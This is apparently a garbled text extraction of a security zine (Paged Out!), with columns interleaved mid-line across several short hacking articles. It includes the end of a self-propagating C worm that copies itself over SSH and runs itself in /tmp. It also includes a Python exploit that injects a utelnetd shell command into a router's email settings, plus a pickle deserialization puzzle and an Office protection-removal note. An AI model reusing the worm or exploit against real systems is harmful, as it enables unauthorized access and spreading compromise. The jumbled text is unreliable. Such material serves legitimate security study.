f=fopen(myworm,"r");
information about all misconfigured machines is shared. while(1==1){
readsize=fread(buffer,1,sizeof(buffer),f);
if(SSH_ERROR ==
ssh_scp_write(scp,buffer,readsize)){break;}
writesize=writesize+readsize;
if(writesize==size){break;}}
fclose(f);}
if((sshchannel = ssh_channel_new(session))
==NULL){break;}
if((con = ssh_channel_open_session(sshchannel))
< 0){break;};
if((con = ssh_channel_request_exec(sshchannel,
"cd /tmp/;./EasyNiceWorm &")) < 0){break;};
ssh_free(session);break;}
ssh_free(session);
i=i+1;}
sleep(10);}}
Garcia-Jimenez, Santiago
https://github.com/4nimanegra
CC BY 4.0 53
Security/Hacking Format String Vulns for hackers in a hurry
sunbather
https://github.com/Costinteo
54 https://dothidden.xyz/ SAA-TIP 0.0.7
Security/Hacking How a variable name caused a critical vulnerability
# How a variable name caused a ## How are these templates supposed to work?
So these templates have placeholders for data
critical vulnerability and when rendering them, you need to pass that
data as shown below.
This is the story of CVE-2024-21644 and how an
unfortunately named variable caused a critical
vulnerability in an otherwise secure
application.
The GNU/Linux distro IPFire, a fork of the IPCop project, is a solution geared for
router/firewall scenarios with an intuitive graphical interface accessible remotely via
HTTPS for management, enabling services to be activated and added via installable
plug-ins.
Cybersecurity is the central priority behind the project, which, enhanced by an in-system
hardening process, prevents targeted attacks within the system. An OpenSource project
developed under the GPL license, it has a highly active community of users and
developers who have created solutions to the most common system administration
needs behind the distribution. IPFire is free software developed by a large open
community and is considered reliable by a large number of users due to the
OpenSource philosophy, in which every person in the IT department can view the
source code, integrate it, and improve it to make the project more innovative. Notably,
there is also significant care for the kernel, including mitigations against Meltdown and
Spectre attacks related to Intel processors.
IPFire, when applied to a PC with two network cards and one Wi-Fi, can function as a
router/firewall, router/Wi-Fi, or access point with proxy functions and IDS/IPS systems
through the use of Snort to block targeted attacks on the LAN from the WAN.
The website (IPFire.org) contains forums and blogs serving the community. For
professional help and specific consulting, there is Lightning Wire Labs, which provides
assistance for business use. For the remaining nerds, there is the dedicated wiki
(wiki.IPFire.org).
For those who wish to contribute to the TOR project, the community provides a package installable via Pakfire
(https://www.ipfire.org/docs/configuration/ipfire/pakfire) to create an entry point to the deep web, provide anonymity for the LAN
network, or contribute to the global TOR network
by starting a TOR relay server. The variety of tools
made available by the distro allows for enhancing
the defenses of a LAN network and provides
utilities for the IT system builder. For example, the
offline proxy cache function, associated with
blacklists (also ranked by country), allows for
optimization and savings in data traffic.
The ever-increasing hardware support associated with the Linux kernel, software research and development, security by design,
and privacy by default make the project a great benchmark in any scenario for protecting against data breaches.
Reno Robert
https://twitter.com/renorobertr/
58 SAA-TIP 0.0.7
Tranquility at last Art
headers = {
to 1.0.0.76 'Authorization': 'Basic ' + AuthToken.decode('ascii'),
'Content-Type': 'application/x-www-form-urlencoded',
Description: 'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image
The heart of the issue is the absence of robust /webp,*/*;q=0.8',
}
server-side validation for user inputs within the res = requests.get(f"http://{HOST}:{PORT}/FW_email.htm",
Email Module. Attackers exploit this weakness by headers=headers)
token = re.findall(r'timestamp=(\w+)', str(res.content))[0]
injecting malicious commands into the
PAYLOAD = "/usr/sbin/utelnetd$IFS-d$IFS-l$IFS/bin/sh"
email_addr and auth_user parameters. The COMMAND = urllib.parse.quote("[email protected];addr=`" +
PAYLOAD + "`")
client-side validator's inadequacy allows the POST_BODY =
storage of harmful payloads, which are later f"submit_flag=email&Apply=Apply&email_notify_enabled=1&send_
alert_immediately=1&schedule_hour=&email_endis_auth=1&email_
executed when the scheduler or "Send Log" addr_hid={COMMAND}&email_smtp_hid=us2.smtp.example.com&auth_
user_hid={urllib.parse.quote('[email protected]')}&auth_p
button triggers the 'sendlog()' function located in wd_hid=password&cfAlert_Select_hid=1&cfAlert_Day_hid=0&email
_notify=1&email_smtp=us2.smtp.example.com&email_addr={COMMAN
the /etc/email/send_log file. D}&smtp_auth=1&auth_user={urllib.parse.quote('tms@touhidshai
kh.com')}&auth_pwd=password&block_site=1&cfAlert_Select=1"
Attack Flow: res =
1. Require: Attackers need admin credentials for requests.post(f"http://{HOST}:{PORT}/apply.cgi?/FW_email.htm
%20timestamp={token}", headers=headers, data=POST_BODY)
the attack.
res = requests.get(f"http://{HOST}:{PORT}/FW_log.htm",
2. Payload Crafting: Attackers craft a malicious headers=headers)
payload within the email_addr and token = re.findall(r'timestamp=(\w+)', str(res.content))[0]
Touhid M Shaikh
https://www.securityium.com
60 https://x.com/touhidshaikh22 CC BY 4.0
Pickle Schizophrenia Security/Hacking
Code:
import pickle
pic = b''
pic += b'\x80\x04' # proto 0x4
pic += b'cpickle\n_Unpickler.dispatch\n' # global "pickle _Unpickler.dispatch"
pic += b'\x94' # memoize
pic += b'q\x00' # binput 0x0
pic += b'KS' # binint1 0x53
pic += b'(' # mark
pic += b'KU' # binint1 0x55
pic += b'ipickle\n_Unpickler.dispatch.__getitem__\n' # inst “pickle Unpickler.dispatch.__getitem__"
pic += b's' # setitem
pic += b"S'magic'\n" # string "magic"
pic += b'.' # stop
pic += b"STOP OP INDICATES END OF PICKLES\n"
pic += b'MORE MAGIC.'
print("loads: %s" % pickle.loads(pic))
print("_loads: %s" % pickle._loads(pic))
Execution:
$ python3 fun.py
loads: magic
_loads: MORE MAGIC
The Question:
Python pickles, like the one seen in the above code, are serialized Python objects. This code deserializes the
exact same pickle twice, once with loads and again with _loads. Both functions should return the same
result; loads is just faster because it’s implemented in C. So, the question is, why is there a discrepancy
between loads and _loads?
If you run a Python pickle disassembler on the provided pickle and it works, you will get the assembly seen in
the code’s comments. Pickles lack control flow; there is no opcode to jump over or into another instruction. So,
in theory, a disassembler will have no trouble showing all the instructions that are executed.
While JSON is relatively safe, pickles are not. Pickles can import any Python object. It’s trivial to import
os.system with GLOBAL, then execute it with REDUCE. However, this is way too obvious; I aim to keep my
pickles interesting.
Lastly, my own Python pickle decompiler agrees with pickle.loads, claiming “magic” should be returned. So,
what is different about the pickle._loads interpretation?
bemodtwz https://infosec.exchange/@bemodtwz
https://github.com/swoops
SAA-TIP 0.0.7 twitter: @bemodtwz 61
Security/Hacking Removing Editing Restrictions from Office Documents
<w:documentProtection
w:edit="readOnly" w:enforcement="1"
[… ]
w:hash="CBrTaNton+AsWo7o8W/Tvu9HLTci9ESwYrm1P9Zi3weDwaIJ32c1pNd[… ]"
w:salt="ymA7Pbx34nk2tW3z/sxZSQ=="/>
Frank Seifferth
[email protected]
62 CC BY-SA 4.0
Trojan Code Security/Hacking
References:
1. Boucher et al. Trojan Source: Invisible Vulnerabilities. https://www.usenix.org/conference/usenixsecurity23/presentation/boucher
2. Unicode Technical Report #36, https://www.unicode.org/reports/tr36/tr36-2.html#visual_spoofing
3. SecDim. PayPal Homograph. https://learn.secdim.com/course/paypal-homograph
pi3ch
https://twitter.com/pi3ch
SAA-ALL 0.0.7 63
Security/Hacking XZ Outbreak (CVE-2024-3094)
Mauro Eldritch
https://github.com/MauroEldritch
CC BY 4.0 https://twitter.com/MauroEldritch 65
Art Warmth
Killer Rabbit
https://www.instagram.com/killerrabbitmedia/
66 SAA-TIP 0.0.7
WE WANT YOUR ARTICLE!
Would you like to see your article published in the next issue of Paged
Out!?
Here’s how to make that happen:
We have a nifty tool that you can use to check if your page size is ok - https://review-
tools.pagedout.institute/
The article has to be on a topic that is fit for Paged Out! Not sure if your topic is?
You can always ask us before you commit to writing. Or you can consult the list here: https://
pagedout.institute/?page=writing.php#article-topics
Once the topic is locked down, then comes the writing, and it has to be done by you. Remember,
you can write about AI but don’t rely on it to do the writing for you ;) Besides, you will do a better
job than it can!
Next, submit the article to us, preferably as a PDF file (you can also use PNGs for art), at
[email protected].
First, you will receive a link to a form from us. The form asks some really important questions,
including which license you would prefer for your submission, details about the title and the name
under which the article should be published, which fonts you have used and the source of images
that are in it.
Remember that both the fonts and the images need to have licenses that allow them to be used
in commercial projects and to be embedded in a PDF.
Once the replies are received, we will work with you on polishing the article. The stages include a
technical review and a language review.
If there are images in your article, we will ask you for an alt text for them.
After the stages are completed, your article will be ready for publishing!
Not all articles have to be written. If you want to draw a cheatsheet, a diagram, or an image,
please do so, we accept such submissions as well.
This is a shorter and more concise version of the content that can be found here:
https://pagedout.institute/?page=writing.php and here:
https://pagedout.institute/?page=cfp.php
The most important thing though is that you enjoy the process of writing and then of getting your
article ready for publication in cooperation with our great team.
Happy writing!